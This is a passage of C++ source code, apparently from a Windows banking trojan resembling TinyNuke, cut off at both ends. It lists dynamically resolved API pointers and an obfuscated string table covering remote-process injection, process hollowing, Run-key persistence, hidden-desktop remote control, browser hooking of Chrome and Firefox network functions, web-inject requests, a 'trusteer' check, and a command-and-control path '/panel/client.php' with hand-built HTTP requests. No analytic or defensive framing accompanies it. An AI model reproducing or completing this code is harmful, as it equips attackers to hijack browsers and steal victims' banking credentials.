pIsxdigit; 67 | Types::T_strtod pStrtod; 68 | Types::T_CreateToolhelp32Snapshot pCreateToolhelp32Snapshot; 69 | Types::T_Process32First pProcess32First; 70 | Types::T_Process32Next pProcess32Next; 71 | Types::T_StrChr pStrChrA; 72 | Types::T_StrToInt pStrToIntA; 73 | Types::T_GetModuleHandle pGetModuleHandleA; 74 | Types::T_GetFileVersionInfoSize pGetFileVersionInfoSizeA; 75 | Types::T_GetFileVersionInfo pGetFileVersionInfoA; 76 | Types::T_VerQueryValue pVerQueryValueA; 77 | Types::T_GetModuleInformation pGetModuleInformation; 78 | Types::T_memcmp pMemcmp; 79 | Types::T_ExpandEnvironmentStrings pExpandEnvironmentStringsA; 80 | Types::T_GetPrivateProfileSectionNames pGetPrivateProfileSectionNamesA; 81 | Types::T_GetPrivateProfileString pGetPrivateProfileStringA; 82 | Types::T_CreateFile pCreateFileA; 83 | Types::T_ReadFile pReadFile; 84 | Types::T_WriteFile pWriteFile; 85 | Types::T_RegSetValueEx pRegSetValueExA; 86 | Types::T_RegOpenKeyEx pRegOpenKeyExA; 87 | Types::T_RegCloseKey pRegCloseKey; 88 | Types::T_GetFileSize pGetFileSize; 89 | Types::T_ResumeThread pResumeThread; 90 | Types::T_IsWow64Process pIsWow64Process; 91 | Types::T_GetNativeSystemInfo pGetNativeSystemInfo; 92 | Types::T_OpenProcess pOpenProcess; 93 | Types::T_CreateThread pCreateThread; 94 | Types::T_GetUserName pGetUserNameW; 95 | Types::T_GetComputerName pGetComputerNameW; 96 | Types::T_GetVersionEx pGetVersionExA; 97 | Types::T_CreateNamedPipe pCreateNamedPipeA; 98 | Types::T_ConnectNamedPipe pConnectNamedPipe; 99 | Types::T_DisconnectNamedPipe pDisconnectNamedPipe; 100 | Types::T_InternetCrackUrl pInternetCrackUrlA; 101 | Types::T_GetTempPath pGetTempPathA; 102 | Types::T_GetTempFileName pGetTempFileNameA; 103 | Types::T_ShellExecute pShellExecuteA; 104 | Types::T_ioctlsocket pIoctlsocket; 105 | Types::T_ntohs pNtohs; 106 | Types::T_CreateMutex pCreateMutexA; 107 | Types::T_ReleaseMutex pReleaseMutex; 108 | Types::T_NtCreateThreadEx pNtCreateThreadEx; 109 | Types::T_TerminateProcess pTerminateProcess; 110 | Types::T_FindWindow pFindWindowA; 111 | Types::T_GetWindowThreadProcessId pGetWindowThreadProcessId; 112 | Types::T_WaitForSingleObject pWaitForSingleObject; 113 | Types::T_EnumWindows pEnumWindows; 114 | Types::T_GetCurrentProcessId pGetCurrentProcessId; 115 | Types::T_DeleteFile pDeleteFileA; 116 | Types::T_PathFileExists pPathFileExistsA; 117 | Types::T_CreateDirectory pCreateDirectoryA; 118 | Types::T_HttpQueryInfo pHttpQueryInfoA; 119 | Types::T_HttpQueryInfo pHttpQueryInfoW; 120 | Types::T_RtlCompressBuffer pRtlCompressBuffer; 121 | Types::T_RtlGetCompressionWorkSpaceSize pRtlGetCompressionWorkSpaceSize; 122 | Types::T_SetThreadDesktop pSetThreadDesktop; 123 | Types::T_CreateDesktop pCreateDesktopA; 124 | Types::T_OpenDesktop pOpenDesktopA; 125 | Types::T_TerminateThread pTerminateThread; 126 | Types::T_PostMessage pPostMessageA; 127 | Types::T_PostMessage pSendMessageA; 128 | Types::T_ChildWindowFromPoint pChildWindowFromPoint; 129 | Types::T_ScreenToClient pScreenToClient; 130 | Types::T_MoveWindow pMoveWindow; 131 | Types::T_GetWindowRect pGetWindowRect; 132 | Types::T_GetMenuItemID pGetMenuItemID; 133 | Types::T_MenuItemFromPoint pMenuItemFromPoint; 134 | Types::T_RealGetWindowClass pRealGetWindowClassA; 135 | Types::T_PtInRect pPtInRect; 136 | Types::T_GetWindowPlacement pGetWindowPlacement; 137 | Types::T_SetWindowLong pSetWindowLongA; 138 | Types::T_GetWindowLong pGetWindowLongA; 139 | Types::T_WindowFromPoint pWindowFromPoint; 140 | Types::T_SHAppBarMessage pSHAppBarMessage; 141 | Types::T_RegQueryValueEx pRegQueryValueExA; 142 | Types::T_GetDesktopWindow pGetDesktopWindow; 143 | Types::T_DeleteDC pDeleteDC; 144 | Types::T_ReleaseDC pReleaseDC; 145 | Types::T_DeleteObject pDeleteObject; 146 | Types::T_GetDIBits pGetDIBits; 147 | Types::T_StretchBlt pStretchBlt; 148 | Types::T_SetStretchBltMode pSetStretchBltMode; 149 | Types::T_SelectObject pSelectObject; 150 | Types::T_CreateCompatibleDC pCreateCompatibleDC; 151 | Types::T_CreateCompatibleBitmap pCreateCompatibleBitmap; 152 | Types::T_GetDC pGetDC; 153 | Types::T_IsWindowVisible pIsWindowVisible; 154 | Types::T_GetWindow pGetWindow; 155 | Types::T_BitBlt pBitBlt; 156 | Types::T_PrintWindow pPrintWindow; 157 | Types::T_GetTopWindow pGetTopWindow; 158 | Types::T_NtUnmapViewOfSection pNtUnmapViewOfSection; 159 | Types::T_NtQueryInformationProcess pNtQueryInformationProcess; 160 | Types::T_GetThreadContext pGetThreadContext; 161 | Types::T_SetThreadContext pSetThreadContext; 162 | Types::T_SHFileOperation pSHFileOperationA; 163 | Types::T_FindFirstFile pFindFirstFileA; 164 | Types::T_FindNextFile pFindNextFileA; 165 | }; 166 | 167 | namespace Strs 168 | { 169 | const char *host[128]; 170 | const char *path; 171 | 172 | const char *user32; 173 | const char *kernelBase; 174 | const char *kernel32; 175 | const char *msvcrt; 176 | const char *ntdll; 177 | const char *shlwapi; 178 | const char *shell32; 179 | const char *secur32; 180 | const char *advapi32; 181 | const char *ws2_32; 182 | const char *version; 183 | const char *psapi; 184 | const char *wininet; 185 | const char *gdi32; 186 | 187 | wchar_t *wKernelBase; 188 | wchar_t *wKernel32; 189 | wchar_t *wNtdll; 190 | wchar_t *wWininet; 191 | 192 | const char *messageBoxA; 193 | const char *getWindowsDirectoryA; 194 | const char *wideCharToMultiByte; 195 | const char *localAlloc; 196 | const char *wsprintfA; 197 | const char *multiByteToWideChar; 198 | const char *malloc; 199 | const char *free; 200 | const char *virtualAllocEx; 201 | const char *writeProcessMemory; 202 | const char *createRemoteThread; 203 | const char *loadLibraryA; 204 | const char *getProcAddress; 205 | const char *pathRemoveFileSpecA; 206 | const char *getModuleFileNameA; 207 | const char *pathFindFileNameA; 208 | const char *strncmp; 209 | const char *strnicmp; 210 | const char *lstrlenA; 211 | const char *exitProcess; 212 | const char *shGetFolderPathA; 213 | const char *lstrcpyA; 214 | const char *lstrcatA; 215 | const char *copyFileA; 216 | const char *getVolumeInformationA; 217 | const char *getUserNameExA; 218 | const char *lookupAccountNameA; 219 | const char *convertSidToStringSidA; 220 | const char *localFree; 221 | const char *memcpy; 222 | const char *lstrcmpiA; 223 | const char *lstrcmpA; 224 | const char *strStrA; 225 | const char *strStrIA; 226 | const char *strtol; 227 | const char *realloc; 228 | const char *wsaStartup; 229 | const char *socket; 230 | const char *gethostbyname; 231 | const char *htons; 232 | const char *connect; 233 | const char *send; 234 | const char *recv; 235 | const char *closesocket; 236 | const char *wsaCleanup; 237 | const char *memset; 238 | const char *sleep; 239 | const char *ntOpenKey; 240 | const char *ntSetValueKey; 241 | const char *closeHandle; 242 | const char *createProcessA; 243 | const char *enterCriticalSection; 244 | const char *leaveCriticalSection; 245 | const char *getLastError; 246 | const char *initializeCriticalSection; 247 | const char *_errNo; 248 | const char *toLower; 249 | const char *isDigit; 250 | const char *strToul; 251 | const char *isXdigit; 252 | const char *strTod; 253 | const char *createToolhelp32Snapshot; 254 | const char *process32First; 255 | const char *process32Next; 256 | const char *strChrA; 257 | const char *strToIntA; 258 | const char *getModuleHandleA; 259 | const char *getFileVersionInfoSizeA; 260 | const char *getFileVersionInfoA; 261 | const char *verQueryValueA; 262 | const char *getModuleInformation; 263 | const char *memcmp; 264 | const char *expandEnvironmentStringsA; 265 | const char *getPrivateProfileSectionNamesA; 266 | const char *getPrivateProfileStringA; 267 | const char *createFileA; 268 | const char *readFile; 269 | const char *writeFile; 270 | const char *regSetValueExA; 271 | const char *regOpenKeyExA; 272 | const char *regCloseKey; 273 | const char *getFileSize; 274 | const char *resumeThread; 275 | const char *isWow64Process; 276 | const char *getNativeSystemInfo; 277 | const char *openProcess; 278 | const char *createThread; 279 | const char *getUserNameW; 280 | const char *getComputerNameW; 281 | const char *getVersionExA; 282 | const char *createNamedPipeA; 283 | const char *connectNamedPipe; 284 | const char *disconnectNamedPipe; 285 | const char *internetCrackUrlA; 286 | const char *getTempPathA; 287 | const char *getTempFileNameA; 288 | const char *shellExecuteA; 289 | const char *ioctlsocket; 290 | const char *ntohs; 291 | const char *createMutexA; 292 | const char *releaseMutex; 293 | const char *ntCreateThreadEx; 294 | const char *terminateProcess; 295 | const char *findWindowA; 296 | const char *getWindowThreadProcessId; 297 | const char *waitForSingleObject; 298 | const char *enumWindows; 299 | const char *getCurrentProcessId; 300 | const char *deleteFileA; 301 | const char *pathFileExistsA; 302 | const char *createDirectoryA; 303 | const char *httpQueryInfoA; 304 | const char *httpQueryInfoW; 305 | const char *rtlCompressBuffer; 306 | const char *rtlGetCompressionWorkSpaceSize; 307 | const char *setThreadDesktop; 308 | const char *createDesktopA; 309 | const char *openDesktopA; 310 | const char *terminateThread; 311 | const char *postMessageA; 312 | const char *sendMessageA; 313 | const char *childWindowFromPoint; 314 | const char *screenToClient; 315 | const char *moveWindow; 316 | const char *getWindowRect; 317 | const char *getMenuItemID; 318 | const char *menuItemFromPoint; 319 | const char *realGetWindowClassA; 320 | const char *ptInRect; 321 | const char *getWindowPlacement; 322 | const char *setWindowLongA; 323 | const char *getWindowLongA; 324 | const char *windowFromPoint; 325 | const char *shAppBarMessage; 326 | const char *regQueryValueExA; 327 | const char *getDesktopWindow; 328 | const char *deleteDc; 329 | const char *releaseDc; 330 | const char *deleteObject; 331 | const char *getDiBits; 332 | const char *stretchBlt; 333 | const char *setStretchBltMode; 334 | const char *selectObject; 335 | const char *createCompatibleDc; 336 | const char *createCompatibleBitmap; 337 | const char *getDc; 338 | const char *isWindowVisible; 339 | const char *getWindow; 340 | const char *bitBlt; 341 | const char *printWindow; 342 | const char *getTopWindow; 343 | const char *ntUnmapViewOfSection; 344 | const char *ntQueryInformationProcess; 345 | const char *getThreadContext; 346 | const char *setThreadContext; 347 | const char *shFileOperationA; 348 | const char *findFirstFileA; 349 | const char *findNextFileA; 350 | 351 | const char *rtlInitAnsiString; 352 | const char *rtlAnsiStringToUnicodeString; 353 | const char *ldrLoadDll; 354 | const char *ldrGetProcedureAddress; 355 | const char *rtlFreeUnicodeString; 356 | const char *rtlCreateUserThread; 357 | 358 | const char *helloWorld; 359 | const char *exeExt; 360 | const char *fileDiv; 361 | const char *postSpace; 362 | const char *getSpace; 363 | const char *httpReq1; 364 | const char *httpReq2; 365 | const char *httpReq3; 366 | const char *httpReq4; 367 | const char *httpReq5; 368 | const char *httpReq6; 369 | const char *httpReq7; 370 | const char *httpReq8; 371 | const char *httpReq9; 372 | const char *sprintfIntEscape; 373 | const char *winNewLine; 374 | const char *ntRegPath; 375 | const char *userRunKey; 376 | const char *dllhostExe; 377 | const char *pingRequest; 378 | const char *dll32binRequest; 379 | const char *dll64binRequest; 380 | const char *explorerExe; 381 | const char *firefoxExe; 382 | const char *chromeExe; 383 | const char *edgeExe; 384 | const char *braveExe; 385 | const char *iexploreExe; 386 | const char *powershell; 387 | const char *injectsRequest; 388 | const char *chromeName; 389 | const char *firefoxName; 390 | const char *ieName; 391 | const char *chromeDll; 392 | const char *nss3dll; 393 | const char *nspr4dll; 394 | const char *prRead; 395 | const char *prWrite; 396 | const char *rdata; 397 | const char *fc1; 398 | const char *fc2; 399 | const char *fc3; 400 | const char *fc4; 401 | const char *fc5; 402 | const char *fc6; 403 | const char *fc7; 404 | const char *fc8; 405 | const char *fc9; 406 | const char *fc10; 407 | const char *fc11; 408 | const char *fc12; 409 | const char *headersEnd; 410 | const char *bu1; 411 | const char *bu2; 412 | const char *bu3; 413 | const char *bu4; 414 | const char *bu5; 415 | const char *ie1; 416 | const char *ie2; 417 | const char *ie3; 418 | const char *ie4; 419 | const char *ie5; 420 | const char *ie6; 421 | const char *ie7; 422 | const char *ie8; 423 | const char *ie9; 424 | const char *ie10; 425 | const char *ie11; 426 | const char *exp1; 427 | const char *exp2; 428 | const char *exp3; 429 | const char *exp4; 430 | const char *exp5; 431 | const char *exp6; 432 | const char *exp7; 433 | const char *exp8; 434 | const char *exp9; 435 | const char *exp10; 436 | const char *exp11; 437 | const char *exp12; 438 | const char *exp13; 439 | const char *exp14; 440 | const char *exp15; 441 | const char *exp16; 442 | const char *exp17; 443 | const char *exp18; 444 | const char *exp19; 445 | const char *exp20; 446 | const char *exp21; 447 | const char *exp22; 448 | const char *exp23; 449 | const char *exp24; 450 | const char *exp25; 451 | const char *hd1; 452 | const char *hd2; 453 | const char *hd3; 454 | const char *hd4; 455 | const char *hd5; 456 | const char *hd6; 457 | const char *hd7; 458 | const char *hd8; 459 | const char *hd9; 460 | const char *hd10; 461 | const char *hd11; 462 | const char *hd12; 463 | const char *hd13; 464 | const char *hd14; 465 | const char *hd15; 466 | const char *infoRequest; 467 | const char *pipeName; 468 | const char *open; 469 | const char *hi; 470 | const char *shell_TrayWnd; 471 | const char *verclsidExe; 472 | const char *dll32cachePrefix; 473 | const char *dll64cachePrefix; 474 | const char *loaderDllName; 475 | const char *zoneId; 476 | const char *trusteer; 477 | 478 | wchar_t *wNss3dll; 479 | wchar_t *wNspr4dll; 480 | }; 481 | 482 | void InitApi() 483 | { 484 | Strs::host[0] = ENC_STR_A"127.0.0.1"END_ENC_STR; 485 | Strs::host[1] = 0; 486 | 487 | Strs::path = ENC_STR_A"/panel/client.php"END_ENC_STR; 488 | 489 | Strs::user32 = ENC_STR_A"User32.dll"END_ENC_STR; 490 | Strs::kernel32 = ENC_STR_A"Kernel32.dll"END_ENC_STR; 491 | Strs::kernelBase = ENC_STR_A"KernelBase.dll"END_ENC_STR; 492 | Strs::msvcrt = ENC_STR_A"msvcrt.dll"END_ENC_STR; 493 | Strs::ntdll = ENC_STR_A"ntdll.dll"END_ENC_STR; 494 | Strs::shlwapi = ENC_STR_A"Shlwapi.dll"END_ENC_STR; 495 | Strs::shell32 = ENC_STR_A"Shell32.dll"END_ENC_STR; 496 | Strs::secur32 = ENC_STR_A"Secur32.dll"END_ENC_STR; 497 | Strs::advapi32 = ENC_STR_A"Advapi32.dll"END_ENC_STR; 498 | Strs::ws2_32 = ENC_STR_A"ws2_32.dll"END_ENC_STR; 499 | Strs::version = ENC_STR_A"version.dll"END_ENC_STR; 500 | Strs::psapi = ENC_STR_A"Psapi.dll"END_ENC_STR; 501 | Strs::wininet = ENC_STR_A"wininet.dll"END_ENC_STR; 502 | Strs::gdi32 = ENC_STR_A"gdi32.dll"END_ENC_STR; 503 | 504 | Strs::messageBoxA = ENC_STR_A"MessageBoxA"END_ENC_STR; 505 | Strs::getWindowsDirectoryA = ENC_STR_A"GetWindowsDirectoryA"END_ENC_STR; 506 | Strs::wideCharToMultiByte = ENC_STR_A"WideCharToMultiByte"END_ENC_STR; 507 | Strs::localAlloc = ENC_STR_A"LocalAlloc"END_ENC_STR; 508 | Strs::wsprintfA = ENC_STR_A"wsprintfA"END_ENC_STR; 509 | Strs::multiByteToWideChar = ENC_STR_A"MultiByteToWideChar"END_ENC_STR; 510 | Strs::malloc = ENC_STR_A"malloc"END_ENC_STR; 511 | Strs::free = ENC_STR_A"free"END_ENC_STR; 512 | Strs::virtualAllocEx = ENC_STR_A"VirtualAllocEx"END_ENC_STR; 513 | Strs::writeProcessMemory = ENC_STR_A"WriteProcessMemory"END_ENC_STR; 514 | Strs::createRemoteThread = ENC_STR_A"CreateRemoteThread"END_ENC_STR; 515 | Strs::loadLibraryA = ENC_STR_A"LoadLibraryA"END_ENC_STR; 516 | Strs::getProcAddress = ENC_STR_A"GetProcAddress"END_ENC_STR; 517 | Strs::pathRemoveFileSpecA = ENC_STR_A"PathRemoveFileSpecA"END_ENC_STR; 518 | Strs::getModuleFileNameA = ENC_STR_A"GetModuleFileNameA"END_ENC_STR; 519 | Strs::pathFindFileNameA = ENC_STR_A"PathFindFileNameA"END_ENC_STR; 520 | Strs::strncmp = ENC_STR_A"strncmp"END_ENC_STR; 521 | Strs::strnicmp = ENC_STR_A"_strnicmp"END_ENC_STR; 522 | Strs::lstrlenA = ENC_STR_A"lstrlenA"END_ENC_STR; 523 | Strs::exitProcess = ENC_STR_A"ExitProcess"END_ENC_STR; 524 | Strs::shGetFolderPathA = ENC_STR_A"SHGetFolderPathA"END_ENC_STR; 525 | Strs::lstrcpyA = ENC_STR_A"lstrcpyA"END_ENC_STR; 526 | Strs::lstrcatA = ENC_STR_A"lstrcatA"END_ENC_STR; 527 | Strs::copyFileA = ENC_STR_A"CopyFileA"END_ENC_STR; 528 | Strs::getVolumeInformationA = ENC_STR_A"GetVolumeInformationA"END_ENC_STR; 529 | Strs::getUserNameExA = ENC_STR_A"GetUserNameExA"END_ENC_STR; 530 | Strs::lookupAccountNameA = ENC_STR_A"LookupAccountNameA"END_ENC_STR; 531 | Strs::convertSidToStringSidA = ENC_STR_A"ConvertSidToStringSidA"END_ENC_STR; 532 | Strs::localFree = ENC_STR_A"LocalFree"END_ENC_STR; 533 | Strs::malloc = ENC_STR_A"malloc"END_ENC_STR; 534 | Strs::lstrcmpiA = ENC_STR_A"lstrcmpiA"END_ENC_STR; 535 | Strs::lstrcmpA = ENC_STR_A"lstrcmpA"END_ENC_STR; 536 | Strs::strStrA = ENC_STR_A"StrStrA"END_ENC_STR; 537 | Strs::strStrIA = ENC_STR_A"StrStrIA"END_ENC_STR; 538 | Strs::strtol = ENC_STR_A"strtol"END_ENC_STR; 539 | Strs::realloc = ENC_STR_A"realloc"END_ENC_STR; 540 | Strs::wsaStartup = ENC_STR_A"WSAStartup"END_ENC_STR; 541 | Strs::socket = ENC_STR_A"socket"END_ENC_STR; 542 | Strs::gethostbyname = ENC_STR_A"gethostbyname"END_ENC_STR; 543 | Strs::htons = ENC_STR_A"htons"END_ENC_STR; 544 | Strs::connect = ENC_STR_A"connect"END_ENC_STR; 545 | Strs::send = ENC_STR_A"send"END_ENC_STR; 546 | Strs::recv = ENC_STR_A"recv"END_ENC_STR; 547 | Strs::closesocket = ENC_STR_A"closesocket"END_ENC_STR; 548 | Strs::wsaCleanup = ENC_STR_A"WSACleanup"END_ENC_STR; 549 | Strs::memset = ENC_STR_A"memset"END_ENC_STR; 550 | Strs::memcpy = ENC_STR_A"memcpy"END_ENC_STR; 551 | Strs::sleep = ENC_STR_A"Sleep"END_ENC_STR; 552 | Strs::ntOpenKey = ENC_STR_A"NtOpenKey"END_ENC_STR; 553 | Strs::ntSetValueKey = ENC_STR_A"NtSetValueKey"END_ENC_STR; 554 | Strs::closeHandle = ENC_STR_A"CloseHandle"END_ENC_STR; 555 | Strs::createProcessA = ENC_STR_A"CreateProcessA"END_ENC_STR; 556 | Strs::ntCreateThreadEx = ENC_STR_A"NtCreateThreadEx"END_ENC_STR; 557 | Strs::terminateProcess = ENC_STR_A"TerminateProcess"END_ENC_STR; 558 | Strs::findWindowA = ENC_STR_A"FindWindowA"END_ENC_STR; 559 | Strs::ntUnmapViewOfSection = ENC_STR_A"NtUnmapViewOfSection"END_ENC_STR; 560 | Strs::ntQueryInformationProcess = ENC_STR_A"NtQueryInformationProcess"END_ENC_STR; 561 | Strs::getThreadContext = ENC_STR_A"GetThreadContext"END_ENC_STR; 562 | Strs::setThreadContext = ENC_STR_A"SetThreadContext"END_ENC_STR; 563 | Strs::shFileOperationA = ENC_STR_A"SHFileOperationA"END_ENC_STR; 564 | Strs::findFirstFileA = ENC_STR_A"FindFirstFileA"END_ENC_STR; 565 | Strs::findNextFileA = ENC_STR_A"FindNextFileA"END_ENC_STR; 566 | 567 | Strs::getWindowThreadProcessId = ENC_STR_A"GetWindowThreadProcessId"END_ENC_STR; 568 | 569 | Strs::initializeCriticalSection = ENC_STR_A"InitializeCriticalSection"END_ENC_STR; 570 | Strs::getLastError = ENC_STR_A"GetLastError"END_ENC_STR; 571 | Strs::enterCriticalSection = ENC_STR_A"EnterCriticalSection"END_ENC_STR; 572 | Strs::leaveCriticalSection = ENC_STR_A"LeaveCriticalSection"END_ENC_STR; 573 | 574 | Strs::_errNo = ENC_STR_A"_errno"END_ENC_STR; 575 | Strs::toLower = ENC_STR_A"tolower"END_ENC_STR; 576 | Strs::isDigit = ENC_STR_A"isdigit"END_ENC_STR; 577 | Strs::strToul = ENC_STR_A"strtoul"END_ENC_STR; 578 | Strs::isXdigit = ENC_STR_A"isxdigit"END_ENC_STR; 579 | Strs::strTod = ENC_STR_A"strtod"END_ENC_STR; 580 | 581 | Strs::createToolhelp32Snapshot = ENC_STR_A"CreateToolhelp32Snapshot"END_ENC_STR; 582 | Strs::process32First = ENC_STR_A"Process32First"END_ENC_STR; 583 | Strs::process32Next = ENC_STR_A"Process32Next"END_ENC_STR; 584 | Strs::strChrA = ENC_STR_A"StrChrA"END_ENC_STR; 585 | Strs::strToIntA = ENC_STR_A"StrToIntA"END_ENC_STR; 586 | Strs::getModuleHandleA = ENC_STR_A"GetModuleHandleA"END_ENC_STR; 587 | Strs::getFileVersionInfoSizeA = ENC_STR_A"GetFileVersionInfoSizeA"END_ENC_STR; 588 | Strs::getFileVersionInfoA = ENC_STR_A"GetFileVersionInfoA"END_ENC_STR; 589 | Strs::verQueryValueA = ENC_STR_A"VerQueryValueA"END_ENC_STR; 590 | Strs::getModuleInformation = ENC_STR_A"GetModuleInformation"END_ENC_STR; 591 | Strs::memcmp = ENC_STR_A"memcmp"END_ENC_STR; 592 | 593 | Strs::expandEnvironmentStringsA = ENC_STR_A"ExpandEnvironmentStringsA"END_ENC_STR; 594 | Strs::getPrivateProfileSectionNamesA = ENC_STR_A"GetPrivateProfileSectionNamesA"END_ENC_STR; 595 | Strs::getPrivateProfileStringA = ENC_STR_A"GetPrivateProfileStringA"END_ENC_STR; 596 | Strs::createFileA = ENC_STR_A"CreateFileA"END_ENC_STR; 597 | Strs::readFile = ENC_STR_A"ReadFile"END_ENC_STR; 598 | Strs::writeFile = ENC_STR_A"WriteFile"END_ENC_STR; 599 | Strs::regSetValueExA = ENC_STR_A"RegSetValueExA"END_ENC_STR; 600 | Strs::regOpenKeyExA = ENC_STR_A"RegOpenKeyExA"END_ENC_STR; 601 | Strs::regCloseKey = ENC_STR_A"RegCloseKey"END_ENC_STR; 602 | Strs::getFileSize = ENC_STR_A"GetFileSize"END_ENC_STR; 603 | Strs::resumeThread = ENC_STR_A"ResumeThread"END_ENC_STR; 604 | Strs::isWow64Process = ENC_STR_A"IsWow64Process"END_ENC_STR; 605 | Strs::getNativeSystemInfo = ENC_STR_A"GetNativeSystemInfo"END_ENC_STR; 606 | Strs::openProcess = ENC_STR_A"OpenProcess"END_ENC_STR; 607 | Strs::createThread = ENC_STR_A"CreateThread"END_ENC_STR; 608 | Strs::getUserNameW = ENC_STR_A"GetUserNameW"END_ENC_STR; 609 | Strs::getComputerNameW = ENC_STR_A"GetComputerNameW"END_ENC_STR; 610 | Strs::getVersionExA = ENC_STR_A"GetVersionExA"END_ENC_STR; 611 | Strs::createNamedPipeA = ENC_STR_A"CreateNamedPipeA"END_ENC_STR; 612 | Strs::connectNamedPipe = ENC_STR_A"ConnectNamedPipe"END_ENC_STR; 613 | Strs::disconnectNamedPipe = ENC_STR_A"DisconnectNamedPipe"END_ENC_STR; 614 | Strs::internetCrackUrlA = ENC_STR_A"InternetCrackUrlA"END_ENC_STR; 615 | Strs::getTempPathA = ENC_STR_A"GetTempPathA"END_ENC_STR; 616 | Strs::getTempFileNameA = ENC_STR_A"GetTempFileNameA"END_ENC_STR; 617 | Strs::shellExecuteA = ENC_STR_A"ShellExecuteA"END_ENC_STR; 618 | Strs::ioctlsocket = ENC_STR_A"ioctlsocket"END_ENC_STR; 619 | Strs::ntohs = ENC_STR_A"ntohs"END_ENC_STR; 620 | Strs::createMutexA = ENC_STR_A"CreateMutexA"END_ENC_STR; 621 | Strs::releaseMutex = ENC_STR_A"ReleaseMutex"END_ENC_STR; 622 | Strs::waitForSingleObject = ENC_STR_A"WaitForSingleObject"END_ENC_STR; 623 | Strs::enumWindows = ENC_STR_A"EnumWindows"END_ENC_STR; 624 | Strs::getCurrentProcessId = ENC_STR_A"GetCurrentProcessId"END_ENC_STR; 625 | Strs::deleteFileA = ENC_STR_A"DeleteFileA"END_ENC_STR; 626 | Strs::pathFileExistsA = ENC_STR_A"PathFileExistsA"END_ENC_STR; 627 | Strs::createDirectoryA = ENC_STR_A"CreateDirectoryA"END_ENC_STR; 628 | Strs::httpQueryInfoA = ENC_STR_A"HttpQueryInfoA"END_ENC_STR; 629 | Strs::httpQueryInfoW = ENC_STR_A"HttpQueryInfoW"END_ENC_STR; 630 | Strs::rtlCompressBuffer = ENC_STR_A"RtlCompressBuffer"END_ENC_STR; 631 | Strs::rtlGetCompressionWorkSpaceSize = ENC_STR_A"RtlGetCompressionWorkSpaceSize"END_ENC_STR; 632 | Strs::setThreadDesktop = ENC_STR_A"SetThreadDesktop"END_ENC_STR; 633 | Strs::createDesktopA = ENC_STR_A"CreateDesktopA"END_ENC_STR; 634 | Strs::openDesktopA = ENC_STR_A"OpenDesktopA"END_ENC_STR; 635 | Strs::terminateThread = ENC_STR_A"TerminateThread"END_ENC_STR; 636 | Strs::postMessageA = ENC_STR_A"PostMessageA"END_ENC_STR; 637 | Strs::sendMessageA = ENC_STR_A"SendMessageA"END_ENC_STR; 638 | Strs::childWindowFromPoint = ENC_STR_A"ChildWindowFromPoint"END_ENC_STR; 639 | Strs::screenToClient = ENC_STR_A"ScreenToClient"END_ENC_STR; 640 | Strs::moveWindow = ENC_STR_A"MoveWindow"END_ENC_STR; 641 | Strs::getWindowRect = ENC_STR_A"GetWindowRect"END_ENC_STR; 642 | Strs::getMenuItemID = ENC_STR_A"GetMenuItemID"END_ENC_STR; 643 | Strs::menuItemFromPoint = ENC_STR_A"MenuItemFromPoint"END_ENC_STR; 644 | Strs::realGetWindowClassA = ENC_STR_A"RealGetWindowClassA"END_ENC_STR; 645 | Strs::ptInRect = ENC_STR_A"PtInRect"END_ENC_STR; 646 | Strs::getWindowPlacement = ENC_STR_A"GetWindowPlacement"END_ENC_STR; 647 | Strs::setWindowLongA = ENC_STR_A"SetWindowLongA"END_ENC_STR; 648 | Strs::getWindowLongA = ENC_STR_A"GetWindowLongA"END_ENC_STR; 649 | Strs::windowFromPoint = ENC_STR_A"WindowFromPoint"END_ENC_STR; 650 | Strs::shAppBarMessage = ENC_STR_A"SHAppBarMessage"END_ENC_STR; 651 | Strs::regQueryValueExA = ENC_STR_A"RegQueryValueExA"END_ENC_STR; 652 | Strs::getDesktopWindow = ENC_STR_A"GetDesktopWindow"END_ENC_STR; 653 | Strs::deleteDc = ENC_STR_A"DeleteDC"END_ENC_STR; 654 | Strs::releaseDc = ENC_STR_A"ReleaseDC"END_ENC_STR; 655 | Strs::deleteObject = ENC_STR_A"DeleteObject"END_ENC_STR; 656 | Strs::getDiBits = ENC_STR_A"GetDIBits"END_ENC_STR; 657 | Strs::stretchBlt = ENC_STR_A"StretchBlt"END_ENC_STR; 658 | Strs::setStretchBltMode = ENC_STR_A"SetStretchBltMode"END_ENC_STR; 659 | Strs::selectObject = ENC_STR_A"SelectObject"END_ENC_STR; 660 | Strs::createCompatibleDc = ENC_STR_A"CreateCompatibleDC"END_ENC_STR; 661 | Strs::createCompatibleBitmap = ENC_STR_A"CreateCompatibleBitmap"END_ENC_STR; 662 | Strs::getDc = ENC_STR_A"GetDC"END_ENC_STR; 663 | Strs::isWindowVisible = ENC_STR_A"IsWindowVisible"END_ENC_STR; 664 | Strs::getWindow = ENC_STR_A"GetWindow"END_ENC_STR; 665 | Strs::printWindow = ENC_STR_A"PrintWindow"END_ENC_STR; 666 | Strs::getTopWindow = ENC_STR_A"GetTopWindow"END_ENC_STR; 667 | 668 | Strs::rtlInitAnsiString = ENC_STR_A"RtlInitAnsiString"END_ENC_STR; 669 | Strs::rtlAnsiStringToUnicodeString = ENC_STR_A"RtlAnsiStringToUnicodeString"END_ENC_STR; 670 | Strs::ldrLoadDll = ENC_STR_A"LdrLoadDll"END_ENC_STR; 671 | Strs::ldrGetProcedureAddress = ENC_STR_A"LdrGetProcedureAddress"END_ENC_STR; 672 | Strs::rtlFreeUnicodeString = ENC_STR_A"RtlFreeUnicodeString"END_ENC_STR; 673 | Strs::rtlCreateUserThread = ENC_STR_A"RtlCreateUserThread"END_ENC_STR; 674 | 675 | 676 | Strs::helloWorld = ENC_STR_A"Hello World"END_ENC_STR; 677 | Strs::exeExt = ENC_STR_A".exe"END_ENC_STR; 678 | Strs::fileDiv = ENC_STR_A"\\"END_ENC_STR; 679 | 680 | Strs::postSpace = ENC_STR_A"POST "END_ENC_STR; 681 | Strs::getSpace = ENC_STR_A"GET "END_ENC_STR; 682 | Strs::httpReq1 = ENC_STR_A" HTTP/1.1\r\n"END_ENC_STR; 683 | Strs::httpReq2 = ENC_STR_A"Host: "END_ENC_STR; 684 | Strs::httpReq3 = ENC_STR_A"\r\nPragma: no-cache\r\nContent-type: text/html\r\nConnection: close\r\n"END_ENC_STR; 685 | Strs::httpReq4 = ENC_STR_A"Content-Length: "END_ENC_STR; 686 | Strs::httpReq5 = ENC_STR_A"HTTP/1.1 200 OK"END_ENC_STR; 687 | Strs::httpReq6 = ENC_STR_A": "END_ENC_STR; 688 | Strs::httpReq7 = ENC_STR_A"Content-Length"END_ENC_STR; 689 | Strs::httpReq8 = ENC_STR_A"Transfer-Encoding"END_ENC_STR; 690 | Strs::httpReq9 = ENC_STR_A"chunked"END_ENC_STR; 691 | Strs::sprintfIntEscape = 